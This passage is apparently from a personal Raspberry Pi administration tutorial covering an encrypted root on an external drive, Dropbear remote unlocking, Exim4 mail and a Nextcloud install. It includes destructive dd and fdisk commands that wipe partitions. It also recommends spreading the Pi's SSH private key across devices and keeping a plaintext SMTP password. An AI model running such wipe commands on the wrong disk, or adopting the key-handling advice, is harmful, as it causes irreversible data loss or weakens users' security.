&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;mkdir /tmp/rootsd &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; mount /dev/mmcblk0p2 /tmp/rootsd
mkdir /tmp/roothdd &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; mount /dev/sda1 /tmp/roothdd
rsync -a /tmp/rootsd/ /tmp/roothdd/
sync
e2fsck -f /dev/sda1 &lt;span class="c1"&gt;# You might need to umount it first (umount /tmp/roothdd)&lt;/span&gt;
reboot
su
update-rc.d -f dphys-swapfile remove
apt remove dphys-swapfile
cat /proc/swaps
swapoff /var/swap &lt;span class="c1"&gt;# Might fail if it was not listed in the previous command&lt;/span&gt;
rm -f /var/swap
reboot
su
/sbin/swapon -s &lt;span class="c1"&gt;# Make sure only your swap partition is in use&lt;/span&gt;
dd &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/dev/urandom &lt;span class="nv"&gt;of&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/dev/mmcblk0p2 &lt;span class="nv"&gt;bs&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;10M &lt;span class="c1"&gt;# Overwrite data of unused old root partition&lt;/span&gt;
fdisk /dev/mmcblk0 &lt;span class="c1"&gt;# Delete second partition&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="moving-root-onto-an-external-hard-disk-drive-encrypted"&gt;Moving &lt;code&gt;/root&lt;/code&gt; onto an external hard disk drive, encrypted&lt;/h2&gt;
&lt;p&gt;I would like to thank a few websites which helped me a lot to write this article:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://paxswill.com/blog/2013/11/04/encrypted-raspberry-pi/"&gt;Using an Encrypted Root Partition with Raspbian&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://chezmanu.eu/RPI-Chiffrement.php"&gt;Chiffrement d'un Raspberry Pi avec Raspbian et Luks/Cryptsetup&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://docs.kali.org/kali-dojo/04-raspberry-pi-with-luks-disk-encryption"&gt;Raspberry Pi Disk Encryption&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Stay logged in as &lt;em&gt;root&lt;/em&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;initramfs initramfs.gz 0x00f00000&amp;quot;&lt;/span&gt; &amp;gt;&amp;gt; /boot/config.txt
cat /boot/config.txt

cat /boot/cmdline.txt
sed -e &lt;span class="s2"&gt;&amp;quot;s|root=/dev/mmcblk0p2|root=/dev/mapper/hddcrypt cryptdevice=/dev/sda1:hddcrypt|&amp;quot;&lt;/span&gt; -i /boot/cmdline.txt
cat /boot/cmdline.txt &lt;span class="c1"&gt;# Check it has been effectively changed&lt;/span&gt;

sed -e &lt;span class="s2"&gt;&amp;quot;s|/dev/mmcblk0p2|/dev/mapper/hddcrypt|&amp;quot;&lt;/span&gt; -i /etc/fstab
cat /etc/fstab &lt;span class="c1"&gt;# Make sure it&amp;#39;s all right&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; -e &lt;span class="s2"&gt;&amp;quot;hddcrypt\t/dev/sda1\tnone\tluks&amp;quot;&lt;/span&gt; &amp;gt;&amp;gt; /etc/crypttab
cat /etc/crypttab

lsblk &lt;span class="c1"&gt;# Identify the hard disk drive connected to the Pi&lt;/span&gt;
fdisk /dev/sda &lt;span class="c1"&gt;# Delete any existing partition, create new one with default choices&lt;/span&gt;
apt install cryptsetup
cryptsetup --verify-passphrase -c aes-xts-plain64 -s &lt;span class="m"&gt;512&lt;/span&gt; -h sha256 luksFormat /dev/sda1
&lt;span class="c1"&gt;# 512-bit AES encryption with 256-bit SHA hashing algorithm&lt;/span&gt;
cryptsetup -v luksOpen /dev/sda1 hddcrypt
mkfs.ext4 /dev/mapper/hddcrypt -L ROOT_HDD -m &lt;span class="m"&gt;1&lt;/span&gt;

&lt;span class="c1"&gt;# Let&amp;#39;s mount in two directories the unencrypted root partition from the SD card&lt;/span&gt;
&lt;span class="c1"&gt;# and the new encrypted root partition from the HDD&lt;/span&gt;
mkdir /tmp/rootplain &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; mount /dev/mmcblk0p2 /tmp/rootplain/
mkdir /tmp/rootcrypt &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; mount /dev/mapper/hddcrypt /tmp/rootcrypt/
rsync -a /tmp/rootplain/ /tmp/rootcrypt/ &lt;span class="c1"&gt;# Copy from plain to encrypted&lt;/span&gt;
sync

mkinitramfs -o /boot/initramfs.gz &lt;span class="k"&gt;$(&lt;/span&gt;uname -r&lt;span class="k"&gt;)&lt;/span&gt;
reboot

&lt;span class="c1"&gt;# Delete old /root&lt;/span&gt;
su
dd &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/dev/urandom &lt;span class="nv"&gt;of&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/dev/mmcblk0p2 &lt;span class="nv"&gt;bs&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;10M &lt;span class="nv"&gt;status&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;progress &lt;span class="nv"&gt;conv&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;fsync
fdisk /dev/mmcblk0 &lt;span class="c1"&gt;# Delete second partition&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3 id="enable-remote-unlocking"&gt;Enable remote unlocking&lt;/h3&gt;
&lt;p&gt;References:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://stinkyparkia.wordpress.com/2014/10/14/remote-unlocking-luks-encrypted-lvm-using-dropbear-ssh-in-ubuntu-server-14-04-1-with-static-ipst/"&gt;Remote unlocking LUKS encrypted LVM using Dropbear SSH in Ubuntu Server 14.04.1 (with Static IP)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://chicagolug.org/news/2015-10-09-remotely-unlock-encrypted-server-with-dropbear.html"&gt;Remotely Unlocking Encrypted Servers with Dropbear (on Ubuntu)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Let's get started! On your Pi:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;su
apt install dropbear
mkinitramfs -o /boot/initramfs.gz &lt;span class="k"&gt;$(&lt;/span&gt;uname -r&lt;span class="k"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# Triggers SSH key generation&lt;/span&gt;

&lt;span class="c1"&gt;# Next command is really important, it gives the Pi enough time to get an IP address&lt;/span&gt;
sed &lt;span class="s2"&gt;&amp;quot;s/configure_networking\ \&amp;amp;/echo \&amp;quot;Waiting 5secs...\&amp;quot;\nsleep\ 5\nconfigure_networking\/&amp;quot;&lt;/span&gt; -i /usr/share/initramfs-tools/scripts/init-premount/dropbear
cat /usr/share/initramfs-tools/scripts/init-premount/dropbear

&lt;span class="nb"&gt;cd&lt;/span&gt; /etc/dropbear/
rm /etc/initramfs-tools/etc/dropbear/dropbear_dss_host_key
rm /etc/initramfs-tools/etc/dropbear/dropbear_rsa_host_key
&lt;span class="c1"&gt;# Next command improves security. Default length is 1024&lt;/span&gt;
dropbearkey -t rsa -s &lt;span class="m"&gt;4096&lt;/span&gt; -f /etc/initramfs-tools/etc/dropbear/dropbear_rsa_host_key
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now, add the following at the beginning of the first line of the file &lt;code&gt;/etc/initramfs-tools/root/.ssh/authorized_keys&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;command=&amp;quot;/scripts/local-top/cryptroot &amp;amp;&amp;amp; kill -9 `ps | grep -m 1 &amp;#39;cryptroot&amp;#39; | cut -d &amp;#39; &amp;#39; -f 3`&amp;quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;To forbid authentication using passwords and to change the listening port used by Dropbear, create the file &lt;code&gt;/etc/initramfs-tools/conf.d/dropbear&lt;/code&gt; and add:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;export PKGOPTION_dropbear_OPTION=&amp;quot;-s -p 1234&amp;quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;And do:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;mkinitramfs -o /boot/initramfs.gz &lt;span class="k"&gt;$(&lt;/span&gt;uname -r&lt;span class="k"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# Might be useless&lt;/span&gt;
update-initramfs -u
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;From now, you have 3 possibilities to access your Raspberry Pi remotely:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Using a public key&lt;/li&gt;
&lt;li&gt;Using the Raspberry's private key&lt;/li&gt;
&lt;li&gt;Using an account's password&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The two first possibilities are quite safe, compared to the third one. It's well known that authentication using passwords over SSH is not that safe.&lt;br&gt;
Using your PC's SSH public key is a good solution but not reliable in the long term. Imagine you were to lose access to your personal computer, you would end up locked out of your Raspberry with no means to access it. On the other hand, using your Raspberry Pi's SSH private as an identity is far more convenient in that you can store that file on many devices. Should you lose you computer, you could still access your Raspberry from another computer, given that you still have access to that private key. I know it's not the safest solution but that's the one I chose to go with.&lt;/p&gt;
&lt;p&gt;So here are how to do it with those two first choices, but I recommend you to go with the second one.&lt;/p&gt;
&lt;h4 id="choice-1"&gt;Choice 1&lt;/h4&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="k"&gt;$(&lt;/span&gt;cat /home/pipi/.ssh/authorized_keys&lt;span class="k"&gt;)&lt;/span&gt; &amp;gt;&amp;gt; /etc/initramfs-tools/root/.ssh/authorized_keys &lt;span class="c1"&gt;# Will grant us direct SSH access&lt;/span&gt;
cat /etc/initramfs-tools/root/.ssh/authorized_keys &lt;span class="c1"&gt;# Make sure it&amp;#39;s all right&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h4 id="choice-2"&gt;Choice 2&lt;/h4&gt;
&lt;p&gt;Save the content of &lt;code&gt;/etc/initramfs-tools/root/.ssh/id_rsa&lt;/code&gt; on your computer. &lt;strong&gt;Make sure to copy the entire file, including first and last lines.&lt;/strong&gt; And do that on the newly created file, on your computer:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;chmod &lt;span class="m"&gt;0600&lt;/span&gt; id_rsa_rpi
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now, you can connect to your Pi like this:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;ssh -i id_rsa_rpi root@192.168.1.XX -v -p &lt;span class="m"&gt;1234&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;Finally, last step:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;update-rc.d dropbear disable &lt;span class="c1"&gt;# Only openssh will be used after partition is decrypted&lt;/span&gt;
mkinitramfs -o /boot/initramfs.gz &lt;span class="k"&gt;$(&lt;/span&gt;uname -r&lt;span class="k"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# Might be useless&lt;/span&gt;
update-initramfs -u
reboot
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;For more information in this whole thing, read the official documentation provided by cryptsetup:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;zcat /usr/share/doc/cryptsetup/README.remote.gz
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Should you need to upgrade your firmware, make sure to update the right initramfs before rebooting. Read the end of &lt;a href="http://chezmanu.eu/RPI-Chiffrement.php"&gt;this article&lt;/a&gt; to find out how to do it.&lt;/p&gt;
&lt;p&gt;Instead of unlocking your hard disk drive over SSH, if you prefer to use a keyfile, &lt;a href="http://longsteve.com/wiki/index.php?title=USB_Hard_Drive_Encryption_on_a_Raspberry_Pi"&gt;check out this website&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;If you are brave enough, have a look at the section below called &lt;em&gt;Hardening security&lt;/em&gt;. You might want to improve Dropbear settings.&lt;/p&gt;
&lt;p&gt;You might also want to read about &lt;a href="https://wiki.mozilla.org/Security/Guidelines/OpenSSH"&gt;Mozilla's recommandation in terms of SSH security&lt;/a&gt;.&lt;/p&gt;
&lt;h1 id="tips"&gt;Tips&lt;/h1&gt;
&lt;h2 id="screen-blank-time"&gt;Screen blank time&lt;/h2&gt;
&lt;p&gt;To avoid screen blanking after a while in the console (tty), change &lt;code&gt;BLANK_TIME&lt;/code&gt; to 0 in /etc/kbd/config.&lt;/p&gt;
&lt;h2 id="auto-login"&gt;Auto login&lt;/h2&gt;
&lt;p&gt;As previously seen, the tool &lt;code&gt;rasp-config&lt;/code&gt; allows you to configure auto login. But you can also do this with the command line. In &lt;em&gt;/etc/inittab&lt;/em&gt;, replace&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;1:2345:respawn:/sbin/getty 115200 tty1
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;with&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;1:2345:respawn:/bin/login -f pi tty1 &amp;lt;/dev/tty1 &amp;gt;/dev/tty1 2&amp;gt;&amp;amp;1
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="stopping-raspberry-pi-from-auto-changing-source-on-tv"&gt;Stopping Raspberry-Pi from auto changing source on TV&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;hdmi_ignore_cec_init=1&amp;quot;&lt;/span&gt; &amp;gt;&amp;gt; /boot/config.txt
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="auto-mount-an-external-hard-disk-drive"&gt;Auto-mount an external hard disk drive&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;mkdir /home/pi/my_wonderful_hdd &lt;span class="c1"&gt;# Where the HDD will be mounted&lt;/span&gt;
sudo fdisk -l &lt;span class="c1"&gt;# Note the location of the HDD (something like /dev/sda1)&lt;/span&gt;
sudo mount -t auto /dev/sda1 /home/pi/my_wonderful_hdd &lt;span class="c1"&gt;# Mount it now&lt;/span&gt;
sudo &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/dev/sda1 /home/pi/my_wonderful_hdd auto noatime 0 0&amp;quot;&lt;/span&gt; &amp;gt;&amp;gt; /etc/fstab &lt;span class="c1"&gt;# Auto mount at boot&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="change-hostname"&gt;Change hostname&lt;/h2&gt;
&lt;p&gt;Use the tool &lt;code&gt;rasp-config&lt;/code&gt; or edit both &lt;em&gt;/etc/hostname&lt;/em&gt; and &lt;em&gt;/etc/hosts&lt;/em&gt;.&lt;/p&gt;
&lt;h2 id="disable-swap-permanently"&gt;Disable SWAP permanently&lt;/h2&gt;
&lt;p&gt;Swapping is bad for your SD card lifespan. You should disable it permanently. You might however want to keep swap on a partition on a hard disk drive (see above). To disable permatently on SD card and disk, run:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo swapoff --all &lt;span class="c1"&gt;# Temporary, disables also dedicated partitions (like /dev/sda2)&lt;/span&gt;
sudo update-rc.d dphys-swapfile remove
sudo apt remove dphys-swapfile &lt;span class="c1"&gt;# Permanently&lt;/span&gt;
sudo rm /var/swap
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h1 id="dynhost"&gt;DynHost&lt;/h1&gt;
&lt;ol&gt;
&lt;li&gt;Run &lt;code&gt;apt install lynx dnsutils git&lt;/code&gt; as root. &lt;code&gt;dnsutils&lt;/code&gt; provides &lt;code&gt;dig&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;As a normal user, run &lt;code&gt;git clone https://github.com/rpellerin/dynhost.git $HOME/dynhost&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Edit the lines &lt;code&gt;HOST&lt;/code&gt;, &lt;code&gt;LOGIN&lt;/code&gt;, &lt;code&gt;PASSWORD&lt;/code&gt; and &lt;code&gt;PATH_APP&lt;/code&gt; in the file &lt;em&gt;dynhost&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Add a cronjob (&lt;code&gt;crontab -e&lt;/code&gt;), on your Pi, with the same user (not root!):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;*/5 * * * * /home/pi/dynhost/dynhost
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;All good!&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h1 id="configure-a-local-smtp-email-server"&gt;Configure a local SMTP email server&lt;/h1&gt;
&lt;p&gt;Before doing this. make sure you did set the hostname of your Raspberry Pi through &lt;code&gt;raspi-config&lt;/code&gt;. Note: to successfully send email, the domain you set must exist as a valid DNS entry. Otherwise some email servers will reject your emails. If your Raspberry won't answer to no domain, let as is but make sure while setting up exim4 to hide local mail name with &lt;strong&gt;an existing domain&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Make sure to disable &lt;code&gt;/var/log&lt;/code&gt; from being in RAM since Exim4 needs &lt;code&gt;/var/log/exim4/mainlog&lt;/code&gt; to exist, even after a reboot.&lt;/p&gt;
&lt;p&gt;This is pretty convient as some programs still prefer to send emails, such as &lt;code&gt;cron&lt;/code&gt;.&lt;br&gt;
Normally, Exim4 comes pre-installed with Debian. If not, do &lt;code&gt;apt install exim4&lt;/code&gt;. Then:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;su
dpkg-reconfigure exim4-config
&lt;span class="c1"&gt;# &amp;quot;mail sent by smarthost; no local mail&amp;quot;&lt;/span&gt;
&lt;span class="c1"&gt;# System mail name: keep default; must be a valid FQDN though (ending with .com for example). Leaving blank is the same as reusing the same hostname you set for the Raspberry but it is sometimes buggy. Better to explicitely write your hostname.&lt;/span&gt;
&lt;span class="c1"&gt;# IP-addresses to listen on: keep default, we don&amp;#39;t want to receive external emails&lt;/span&gt;
&lt;span class="c1"&gt;# Other destinations: leave blank&lt;/span&gt;
&lt;span class="c1"&gt;# Machines to relay mail for: leave blank&lt;/span&gt;
&lt;span class="c1"&gt;# IP address or host name of the outgoing smarthost: your SMTP server with port, like ssl0.ovh.net::465&lt;/span&gt;
&lt;span class="c1"&gt;# Hide local mail name: no, or yes if you let &amp;#39;System mail name&amp;#39; blank. If you set a domain, it MUST EXIST otherwise some server will reject your emails.&lt;/span&gt;
&lt;span class="c1"&gt;# Keep number of DNS-queries minimal: no&lt;/span&gt;
&lt;span class="c1"&gt;# Delivery method for local mail: mbox&lt;/span&gt;
&lt;span class="c1"&gt;# Split configuration into small files: no&lt;/span&gt;
&lt;span class="c1"&gt;# Root and postmaster mail recipient: write one of your email addresses or leave blank&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;code&gt;/etc/exim4/update-exim4.conf.conf&lt;/code&gt; should look like this:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;dc_eximconfig_configtype=&amp;#39;satellite&amp;#39;
dc_other_hostnames=&amp;#39;&amp;#39;
dc_local_interfaces=&amp;#39;127.0.0.1 ; ::1&amp;#39;
dc_readhost=&amp;#39;&amp;lt;YOUR HOSTNAME&amp;gt;&amp;#39;
dc_relay_domains=&amp;#39;&amp;#39;
dc_minimaldns=&amp;#39;false&amp;#39;
dc_relay_nets=&amp;#39;&amp;#39;
dc_smarthost=&amp;#39;ssl0.ovh.net::465&amp;#39;
CFILEMODE=&amp;#39;644&amp;#39;
dc_use_split_config=&amp;#39;false&amp;#39;
dc_hide_mailname=&amp;#39;true&amp;#39;
dc_mailname_in_oh=&amp;#39;true&amp;#39;
dc_localdelivery=&amp;#39;mail_spool&amp;#39;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Then, &lt;code&gt;cat /etc/mailname&lt;/code&gt; and make sure the system mail name you just specified is correctly reported here.&lt;/p&gt;
&lt;p&gt;In &lt;em&gt;/etc/exim4/passwd.client&lt;/em&gt;, add you credentials, like:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;ssl0.ovh.net:me@mydomain.com:password
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;If your SMTP server uses port 465 with SSL, you'll need to edit &lt;em&gt;/etc/exim4/exim4.conf.template&lt;/em&gt;. Add the following line, after &lt;code&gt;driver = smtp&lt;/code&gt;, under &lt;code&gt;remote_smtp_smarthost&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;protocol = smtps
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;a href="http://www.gossamer-threads.com/lists/exim/users/96817"&gt;More information&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Now add these lines in &lt;em&gt;/etc/aliases&lt;/em&gt; (changes the lines according to your needs):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;root: &amp;lt;your email address&amp;gt;, &amp;lt;another email address comma-separated if needed&amp;gt;
pipi: root
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Any email intended for root will be sent to the corresponding email address. &lt;strong&gt;Do not add addresses using the same domain you chose while configuring exim4 ("System mail name") as the emails won't be sent out.&lt;/strong&gt;&lt;br&gt;
You can also edit &lt;em&gt;/etc/email-addresses&lt;/em&gt;: this file contains addresses used for &lt;em&gt;from&lt;/em&gt;, &lt;em&gt;reply-to&lt;/em&gt; and &lt;em&gt;sender addresses&lt;/em&gt; fields.&lt;/p&gt;
&lt;p&gt;Then:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;newaliases &lt;span class="c1"&gt;# To apply changes brought to aliases&lt;/span&gt;
update-exim4.conf
systemctl restart exim4
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;This is a test.&amp;quot;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; mail -s &lt;span class="s2"&gt;&amp;quot;test message&amp;quot;&lt;/span&gt; anotherme@somewhere.com &lt;span class="c1"&gt;# Try sending an email&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;This is a test.&amp;quot;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; mail -s &lt;span class="s2"&gt;&amp;quot;test message for root&amp;quot;&lt;/span&gt; root &lt;span class="c1"&gt;# Try sending an email&lt;/span&gt;
runq&lt;span class="p"&gt;;&lt;/span&gt; exim -qff &lt;span class="c1"&gt;# Flush all email queues&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;a href="http://debian-facile.org/doc:reseau:exim4:redirection-mails-locaux"&gt;More information&lt;/a&gt;.&lt;/p&gt;
&lt;h1 id="send-email-automatically-on-startup-with-sendmail"&gt;Send email automatically on startup with &lt;code&gt;sendmail&lt;/code&gt;&lt;/h1&gt;
&lt;p&gt;Add the following in &lt;code&gt;crontab -e&lt;/code&gt; as root:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;@reboot /bin/sleep &lt;span class="m"&gt;30&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; /usr/sbin/exim -qff&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;So you know... (&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;date&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;)&amp;quot;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; mail -s &lt;span class="s2"&gt;&amp;quot;Rpi turned on&amp;quot;&lt;/span&gt; root
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now, read the section right below.&lt;/p&gt;
&lt;h1 id="send-emails-automatically-on-shell-login"&gt;Send emails automatically on shell login&lt;/h1&gt;
&lt;p&gt;Edit your user and root's &lt;code&gt;.bashrc&lt;/code&gt; and add at the end of the file:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;So you know... (&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;date&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;)&amp;quot;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; mail -s &lt;span class="s2"&gt;&amp;quot;Root shell login&amp;quot;&lt;/span&gt; root
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h1 id="installing-nextcloud"&gt;Installing Nextcloud&lt;/h1&gt;
&lt;p&gt;Official tutorial: &lt;a href="https://docs.nextcloud.com/server/latest/admin_manual/installation/source_installation.html"&gt;https://docs.nextcloud.com/server/latest/admin_manual/installation/source_installation.html&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;(&lt;a href="https://kiramclean.com/blog/how-to-set-up-your-own-nextcloud-server/"&gt;here is another tutorial on how to install Nextcloud via SNAP&lt;/a&gt;)&lt;/p&gt;
&lt;details&gt;
    &lt;summary&gt;Click here to know how to support HTTP2&lt;/summary&gt;
[Note that Apache prefork (which is used by `libapache2-mod-php`) is not compatible with HTTP2](https://http2.pro/doc/Apache). We have to [use fpm](https://blog.feutl.com/nextcloud-http2/). Here are some instructions on how to support HTTP2:

1.  Follow the instructions below but do no install `libapache2-mod-php`, instead install `php-fpm`.
1.  After setting up the database, do:

        :::bash
        su
        # If necessary, run the following
        # systemctl stop apache2
        # a2dismod php7.3
        # apt purge libapache2-mod-php
        a2dismod mpm_prefork
        a2enmod mpm_event proxy_fcgi setenvif
        a2enmod http2
        a2enconf php7.3-fpm # Check the generated conf file in /etc/apache2/conf-enabled, if not needed remove the file or disable the conf

1.  Keep reading the instructions. When editing `/etc/apache2/sites-enabled/default-ssl.conf`, add these lines in the virtual host:

        :::text
        &lt;VirtualHost *:443&gt;
            ...
            &lt;FilesMatch \.php$&gt;
                SetHandler "proxy:unix:/run/php/php7.3-fpm.sock|fcgi://localhost/"
            &lt;/FilesMatch&gt;
            ...
            ProtocolsHonorOrder On
            Protocols h2 h2c http/1.1
            ...

1.  [Tune PHP-FPM](https://docs.nextcloud.com/server/latest/admin_manual/installation/server_tuning.html#tune-php-fpm).
1.  Copy the lines `php_value` from `/var/www/nextcloud/.htaccess` [to `/var/www/nextcloud/.htaccess`](https://medium.com/@jacksonpauls/moving-from-mod-php-to-php-fpm-914125a7f336).
1.  `systemctl reload php7.3-fpm &amp;&amp; systemctl restart apache2`
1.  Check if Apache2 MPM is changed to events: `sudo apachectl -V | grep MPM`
1.  See [Nextcloud's instructions on the php.ini file](https://docs.nextcloud.com/server/latest/admin_manual/installation/source_installation.html#php-ini-configuration-notes).

&lt;/details&gt;

&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;su
apt install apache2 mariadb-server libapache2-mod-php
apt install php-gd php-json php-mysql php-curl php-mbstring
apt install php-intl php-imagick imagemagick php-xml php-zip php-bz2
systemctl restart apache2

&lt;span class="nb"&gt;cd&lt;/span&gt; /var/www
mkdir nextcloud
wget https://download.nextcloud.com/server/releases/nextcloud-20.0.4.zip
